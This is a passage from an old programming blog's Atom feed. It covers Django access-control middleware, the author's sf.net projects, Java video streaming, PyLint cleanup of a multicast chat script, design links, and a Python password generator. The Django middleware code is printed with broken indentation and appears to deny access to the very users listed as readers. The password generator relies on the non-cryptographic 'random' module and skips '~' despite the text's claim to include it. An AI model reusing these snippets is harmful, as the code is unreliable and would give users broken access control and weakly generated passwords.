&lt;p&gt;Add 'secure_site.middleware.secure.CheckAccess' to the end of MIDDLEWARE_CLASSES list in settings.py. And change middleware/secure.py:&lt;/p&gt;
&lt;pre&gt;
import re
from django.core.exceptions import ObjectDoesNotExist
from django.http import HttpResponseForbidden
from secure_site.secure.models import SecuredModule

APP_MODEL_REGEX = re.compile('^/admin/(\w+)/(\w+)/\d+/?$')

def find_module(app, model):
    """ Find module object using application and model names.
    'app' - application name.
    'model' - model name."""
    module_name = '%s.%s' % (app, model)
    for module in SecuredModule.objects.all():
        if module_name in module.__unicode__():
            return module
    return None

class CheckAccess(object):
      """Middleware that gets various objects from the
      request object and saves them in thread local storage."""
      def process_request(self, request):
          matches = APP_MODEL_REGEX.search(request.META['PATH_INFO'])
   if matches:
              app = matches.group(1)
       model = matches.group(2)
              module = find_module(app, model)
              if module:
                  try:
                      module.readers.get(username = unicode(getattr(request, 'user', None)))
                      return HttpResponseForbidden('&lt;h1&gt;Permission denied!&lt;/h1&gt;')
                  except ObjectDoesNotExist:
                      pass
&lt;/pre&gt;
That's all! Now let's test it: login with test user and try to open any of model1 objects created earlier.  If you got 'Permission denied!' message, then everything is fine - security features are working!
&lt;p&gt;&lt;a href="http://files.rsdn.ru/29838/secure_site.tar.gz"&gt;DOWNLOAD&lt;/a&gt; - secure_site.tar.gz (20.58KB)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-7169421069214333718?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/7169421069214333718/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/07/adding-security-features-to-django.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7169421069214333718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7169421069214333718'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/07/adding-security-features-to-django.html' title='Adding security features to Django projects'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4983107394910537246</id><published>2008-06-27T20:40:00.003-07:00</published><updated>2008-06-27T22:13:30.072-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><title type='text'>My sf.net projects</title><content type='html'>I manage few projects on &lt;a href="http://sourceforge.net/"&gt;sf.net&lt;/a&gt;, and hope that they will be useful for community:
&lt;ul&gt;&lt;li&gt;&lt;a href="http://maildispatcher.sourceforge.net/"&gt;Mail Dispatcher&lt;/a&gt; - A tool for dispatching (basically, deleting) email messages on POP3 server via Plain or SSL connection with advanced filtering capabilities.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/sdict2db"&gt;sdict2db&lt;/a&gt; - Parser for SDict-based format dictionaries with ability to save in a SQL server (with creating table, index and filling data) and in a text file (SDict text format).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/dnndict"&gt;DNN Dictionary&lt;/a&gt; - A DotNetNuke module for translating texts using SDict-based (&lt;a href="http://sdict.ru/en/"&gt;http://sdict.ru/en/&lt;/a&gt;) dictionaries. It works using AJAX mechanism so there is no pages reloading during the process of translation.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/dhcpexplorer"&gt;DHCP Explorer&lt;/a&gt; - A console cross-platform tool for locating all available DHCP servers.&lt;/li&gt;&lt;/ul&gt;
Though there is no serious activity in these projects, I am working on them as far as possible, so wait for new updates soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4983107394910537246?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4983107394910537246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/06/my-sfnet-projects.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4983107394910537246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4983107394910537246'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/06/my-sfnet-projects.html' title='My sf.net projects'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-3085743423257989722</id><published>2008-06-26T22:06:00.000-07:00</published><updated>2008-06-27T18:31:53.227-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='multicast'/><title type='text'>Video streaming in Java</title><content type='html'>&lt;p&gt;Today I learned what plans have Sun Corporation for multimedia support in Java, especially about handling video  streaming via net. Until now there was only one solution - using &lt;a href="http://java.sun.com/javase/technologies/desktop/media/jmf/"&gt;JMF&lt;/a&gt;. Even this framework is pretty stable, it is deprecated, slow and have limited capabilities.&lt;/p&gt;
&lt;p&gt;
But it looks like Sun seriously began investing efforts to get rid of this situation. First of all, it was good news that Sun decide to &lt;a href="http://www.reuters.com/article/pressRelease/idUS270342+07-May-2008+BW20080507"&gt;add video capabilities to Java with &lt;/a&gt;&lt;a href="http://www.reuters.com/article/pressRelease/idUS270342+07-May-2008+BW20080507"&gt;On2 technologies&lt;/a&gt;. Also these capabilities will be added to &lt;a href="http://javafx.com/"&gt;JavaFX&lt;/a&gt;. JavaFX looks very promising, for example, there is a nice site written in JavaFX - &lt;a href="http://parleys.com/"&gt;Parleys.com&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
After little digging I found that JavaFX will use media features via &lt;a href="http://www.blogger.com/developers.sun.com/learning/javaoneonline/2008/pdf/TS-6509.pdf"&gt;Java Media Components&lt;/a&gt; library. There is no direct link for this library now, but I think that after releasing JavaSE 7 it will appear. So, we will have video, and probably, streaming. It is encouraging news, and give many hopes for Java multimedia future.
&lt;/p&gt;
&lt;p&gt;See below other interesting links:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://sun.edgeboss.net/download/sun/08d01555/08d01555_23.mp4?site=sun&amp;cid=null&amp;sid=FRdamp267558&amp;pid=652060de4337c9183180d069a9f0c16e9efe1c45&amp;scdt=2006-04-06T11:43:23-05:00"&gt;Presentation about JavaFX and On2 technologies&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.on2.com/file.php?40"&gt;On2 TrueMotion codec description&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blogs.sun.com/dannycoward/resource/Java7Overview_Prague_JUG.pdf"&gt;Java 7 overview&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-3085743423257989722?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/3085743423257989722/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/06/video-streaming-in-java.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3085743423257989722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3085743423257989722'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/06/video-streaming-in-java.html' title='Video streaming in Java'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-6297081868295730093</id><published>2008-06-25T19:41:00.004-07:00</published><updated>2008-08-03T20:47:33.168-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='multicast'/><category scheme='http://www.blogger.com/atom/ns#' term='.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Static code analysis tools (with multicasting chat sample)</title><content type='html'>In the modern world with fast cycles of software development it is critical to develop applications with high quality but without long periods of testing and bug fixing. One of the key points for gaining such performance is using &lt;a href="http://en.wikipedia.org/wiki/Static_code_analysis"&gt;static code analysis&lt;/a&gt; tools. Let me provide some samples of such tools which can be useful for software development:&lt;ul&gt;&lt;li&gt;&lt;a href="http://splint.org/"&gt;Splint&lt;/a&gt; - open source programming tool that examines C source code;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.logilab.org/project/pylint"&gt;PyLint&lt;/a&gt; - a static code analyser for Python;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cpan.uwinnipeg.ca/dist/Perl-Critic"&gt;Perl::Critic&lt;/a&gt; - a static code analysis tool for Perl;&lt;/li&gt;&lt;li&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/bb429476.aspx"&gt;FxCop&lt;/a&gt; - static analysis for Microsoft .NET programs that compile to CIL.&lt;/li&gt;&lt;/ul&gt;There are many other tools, a list of which you can find in &lt;a href="http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis"&gt;wikipedia&lt;/a&gt;.

Let's do static code analysis of sample multicasting chat application:
&lt;pre id="python_2_1"&gt;
#!/usr/bin/env python
import socket
import struct
import sys
from threading import Thread

MADDX = '225.100.100.100'
PORT = 6543
is_listening = False

def listen_messages(is_listening):
    print 'Start listening...'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', PORT))
    mreq = struct.pack('4sl', socket.inet_aton(MADDX), socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
    sock.settimeout(1)
    while is_listening():
        try:
            print sock.recv(10240)
        except socket.timeout:
            pass
    print 'Stop listening...'

sys.stdout.write('Enter your name: ')
name = sys.stdin.readline().strip()

listening_thread = Thread(target = listen_messages, args = (lambda: is_listening,))
is_listening = True
listening_thread.start()

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
while True:
    try:
        line = sys.stdin.readline().strip()
        sock.sendto('%s: %s' % (name, line), (MADDX, PORT))
    except KeyboardInterrupt:
        is_listening = False
        listening_thread.join()
        break
&lt;/pre&gt;
&lt;p&gt;Run PyLint for this script. See results below:&lt;/p&gt;
&lt;pre&gt;&amp;lt;skiped&amp;gt;
C: 30: Line too long (83/80)
C:  1: Missing docstring
C:  9: Invalid name "is_listening" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
W: 11:listen_messages: Redefining name 'is_listening' from outer scope (line 9)
W: 13:listen_messages: Redefining name 'sock' from outer scope (line 34)
C: 11:listen_messages: Missing docstring
W: 22:listen_messages: Except doesn't do anything
C: 28: Invalid name "name" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 30: Invalid name "listening_thread" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 31: Invalid name "is_listening" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 34: Invalid name "sock" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 38: Invalid name "line" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 41: Invalid name "is_listening" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
&amp;lt;skiped&amp;gt;
Your code has been rated at 6.18/10&lt;/pre&gt;Not so good rating. Let's try to fix all warning:&lt;ol&gt;&lt;li&gt;&lt;strong&gt;&lt;span&gt;C: 30: Line too long (83/80)&lt;/span&gt;&lt;/strong&gt; - Even now it is good practice to fit code lines in 80 characters - programmer can write code remotely via SSH terminal and it is not so easy to read/modify long lines (and I am not talking about printout copies of the code).
Change line:
&lt;pre id="python_2_2"&gt;
listening_thread = Thread(target = listen_messages, args = (lambda: is_listening,))
&lt;/pre&gt;
to:
&lt;pre id="python_2_3"&gt;
listening_thread = Thread(target = listen_messages,
    args = (lambda: is_listening,))
&lt;/pre&gt;
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;span&gt;C:  1: Missing docstring&lt;/span&gt;&lt;/strong&gt; - Code should be readable - developers write code for humans not machines, and good documentation is a key point for better understanding of the code.
Add docstring to the top of the script:
&lt;pre id="python_2_4"&gt;
""" Multicasting chat application """
&lt;/pre&gt;
&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Invalid name "is_listening" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)&lt;/strong&gt;&lt;/span&gt; - All global variables should be marked with uppercase symbols. Global variables are evil, especially in Python (if a function uses global variable, developer should mark it with GLOBAL keyword - an error widespread among developers who do not know or forget this requirement). That's why I use lambda to pass parameter to the listen_messages function - in other case I have to use GLOBAL keyword. For fixing this warning I move the whole script to 'main' function.&lt;/li&gt;&lt;/ol&gt;New version of the application (after all actions above):
&lt;pre id="python_2_5"&gt;
#!/usr/bin/env python
""" Multicasting chat application """

import socket
import struct
import sys
from threading import Thread

MADDX = '225.100.100.100'
PORT = 6543

def listen_messages(is_listening):
    print 'Start listening...'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', PORT))
    mreq = struct.pack('4sl', socket.inet_aton(MADDX), socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
    sock.settimeout(1)
    while is_listening():
        try:
            print sock.recv(10240)
        except socket.timeout:
            pass
    print 'Stop listening...'

def main():
    is_listening = False
    sys.stdout.write('Enter your name: ')
    name = sys.stdin.readline().strip()

    listening_thread = Thread(target = listen_messages,
        args = (lambda: is_listening,))
    is_listening = True
    listening_thread.start()

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
    while True:
        try:
            line = sys.stdin.readline().strip()
            sock.sendto('%s: %s' % (name, line), (MADDX, PORT))
        except KeyboardInterrupt:
            is_listening = False
            listening_thread.join()
            break

main()
&lt;/pre&gt;
Now it looks more attractive and readable. And after checking with PyLint I get good rating:
&lt;pre&gt;&amp;lt;skip&amp;gt;
C: 12:listen_messages: Missing docstring
W: 23:listen_messages: Except doesn't do anything
C: 27:main: Missing docstring
&amp;lt;skip&amp;gt;
Your code has been rated at 9.17/10 (previous run: 6.18/10)
&lt;/pre&gt;Let's fix warnings remained - add docstrings and fix 'except' statement. Working with exceptions is a dull task, but do not underestimate an importance of good exception handling. Only exceptions can tell developers what has happened to the program and how to fix the situation.
In our case exceptions are used in not exceptional situation (socket receive timeout), but it could not be avoided - it is only way to correctly close 'listening_thread'. To ignore this warning I use inline PyLint warning disabling  feature and add comments why I do it. Complete code see below:
&lt;pre id="python_2_7"&gt;
#!/usr/bin/env python
""" Multicasting chat application """

import socket
import struct
import sys
from threading import Thread

MADDX = '225.100.100.100'
PORT = 6543

def listen_messages(is_listening):
    """ Listen messages from multicast traffic """
    print 'Start listening...'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', PORT))
    mreq = struct.pack('4sl', socket.inet_aton(MADDX), socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
    sock.settimeout(1)
    while is_listening():
        try:
            print sock.recv(10240)
        except socket.timeout: # pylint: disable-msg=W0704
            # Exception is used for correct thread shutdown
            pass
    print 'Stop listening...'

def main():
    """ Main entry """
    is_listening = False
    sys.stdout.write('Enter your name: ')
    name = sys.stdin.readline().strip()

    listening_thread = Thread(target = listen_messages,
        args = (lambda: is_listening,))
    is_listening = True
    listening_thread.start()

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
    while True:
        try:
            line = sys.stdin.readline().strip()
            sock.sendto('%s: %s' % (name, line), (MADDX, PORT))
        except KeyboardInterrupt:
            is_listening = False
            listening_thread.join()
            break

main()
&lt;/pre&gt;
&lt;p&gt;So now you can enjoy chatting in your LAN without any servers and monstrous applications!&lt;/p&gt;
&lt;p&gt;&lt;a href="http://files.rsdn.ru/29838/chat.tar.gz"&gt;DOWNLOAD&lt;/a&gt; - chat.tar.gz (803.00B)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-6297081868295730093?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/6297081868295730093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/06/static-code-analysis-tools-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6297081868295730093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6297081868295730093'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/06/static-code-analysis-tools-with.html' title='Static code analysis tools (with multicasting chat sample)'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-879208536085787659</id><published>2008-06-25T18:43:00.001-07:00</published><updated>2008-06-27T19:20:21.361-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='design'/><title type='text'>Useful designer links</title><content type='html'>&lt;p&gt;One of the major problems in creating a GUI prototype for some websites or applications is developing an initial design. To make this task less complicated I enumerate sites where you can get templates and pictures for free:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.openwebdesign.org/"&gt;http://www.openwebdesign.org/&lt;/a&gt; - many templates for websites available by various licenses;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.iconarchive.com/"&gt;http://www.iconarchive.com/&lt;/a&gt; - many icons for web and other applications available  by various licenses;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.openclipart.org/"&gt;http://www.openclipart.org/&lt;/a&gt; - many icons and other images available in Public Domain according to the statement by the &lt;a href="http://www.creativecommons.org/"&gt;Creative Commons&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;Also there are certain standards  which  are highly recommended to developers to follow:
&lt;ul&gt;&lt;li&gt;&lt;a href="http://library.gnome.org/devel/hig-book/stable/"&gt;GNOME Human Interface Guidelines 2.0&lt;/a&gt; describes ways to create GNOME applications;&lt;/li&gt;&lt;li&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa511258.aspx"&gt;Windows Vista User Experience Guidelines&lt;/a&gt; describes ways to create applications for MS Vista;&lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/products/jlf/ed2/book/"&gt;Java Look and Feel Design Guidelines&lt;/a&gt; describes ways to create applications in Java framework;&lt;/li&gt;&lt;li&gt;&lt;a href="http://developer.kde.org/documentation/design/ui/"&gt;KDE User Interface Guidelines&lt;/a&gt; describes ways to create applications for KDE.&lt;/li&gt;&lt;/ul&gt;There are many other resources available in the Internet, so happy &lt;a href="http://www.google.com/"&gt;googling&lt;/a&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-879208536085787659?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/879208536085787659/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/06/useful-designer-links.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/879208536085787659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/879208536085787659'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/06/useful-designer-links.html' title='Useful designer links'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1935006391582027775</id><published>2008-06-24T21:52:00.007-07:00</published><updated>2008-08-03T20:49:54.412-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Simple password generator in Python</title><content type='html'>&lt;p&gt;There are many situations when you need to create a password quickly, and do not want to strain you fantasy for such task. In this case password generators are very useful, but most of them require too many motions. In this article I am going to show how to create a simple utility which works from command line and just displays a line with the automatically generated password (and of course it can be used in many administrative automated tasks).&lt;/p&gt;
&lt;p&gt;First, I create a prototype in Python shell and then write the utility itself. I recommend to use IPython shell (&lt;a href="http://ipython.scipy.org/moin/About"&gt;http://ipython.scipy.org/moin/About&lt;/a&gt;) - it is superior to Python shell in many ways.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Import 'random' library:&lt;/p&gt;
&lt;pre id="python_1_1"&gt;In [1]: import random&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check generation random number in required range (from 32 - space symbol to 126 - symbol '~'):&lt;/p&gt;
&lt;pre id="python_1_2"&gt;In [2]: random.randrange(32, 126)
Out [2]: 109&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check conversion number to character:&lt;/p&gt;
&lt;pre id="python_1_3"&gt;In [3]: chr(random.randrange(32, 126))
Out [3]: 'c'&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check generation a list of characters:&lt;/p&gt;
&lt;pre id="python_1_4"&gt;In [4]: [chr(random.randrange(32, 126)) for __ in xrange(8)]
Out[4]: ['0', "'", 'A', '\\', 'o', 'D', 'R', 'M']&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check joining a list to a string:&lt;/p&gt;
&lt;pre id="python_1_5"&gt;In [5]: ''.join([chr(random.randrange(32, 126)) for __ in xrange(8)])
Out[5]: 'mqLs2_ma'&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That's all. Password generation is ready!&lt;/p&gt;
&lt;p&gt;Now I put this code to a script and add one feature - password generation with specified length. For this I use 'optparse' library. Complete script is below:&lt;/p&gt;
&lt;pre id="python_1_6"&gt;
#!/usr/bin/env python
""" Simple password generator """

import random
from optparse import OptionParser

def main():
   """ Main entry """
   parser = OptionParser()
   parser.set_defaults(length = 8)
   parser.add_option('-l', '--length', type = 'int', dest = 'length',
       help = 'Length of the generated password')
   options = parser.parse_args()[0]
   print ''.join([chr(random.randrange(32, 126))
       for __ in range(options.length)])

main()
&lt;/pre&gt;
&lt;p&gt;
Now I put this script to the place where the OS can easily find it when I call this utility (for example, ~/bin).&lt;/p&gt;
&lt;p&gt;Have fun!&lt;/p&gt;
&lt;p&gt;&lt;a href="http://files.rsdn.ru/29838/makepwd.tar.gz"&gt;DOWNLOAD&lt;/a&gt; - makepwd.tar.gz (400.00B)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1935006391582027775?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1935006391582027775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/06/simple-password-generator-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1935006391582027775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1935006391582027775'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/06/simple-password-generator-in-python.html' title='Simple password generator in Python'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry></feed>
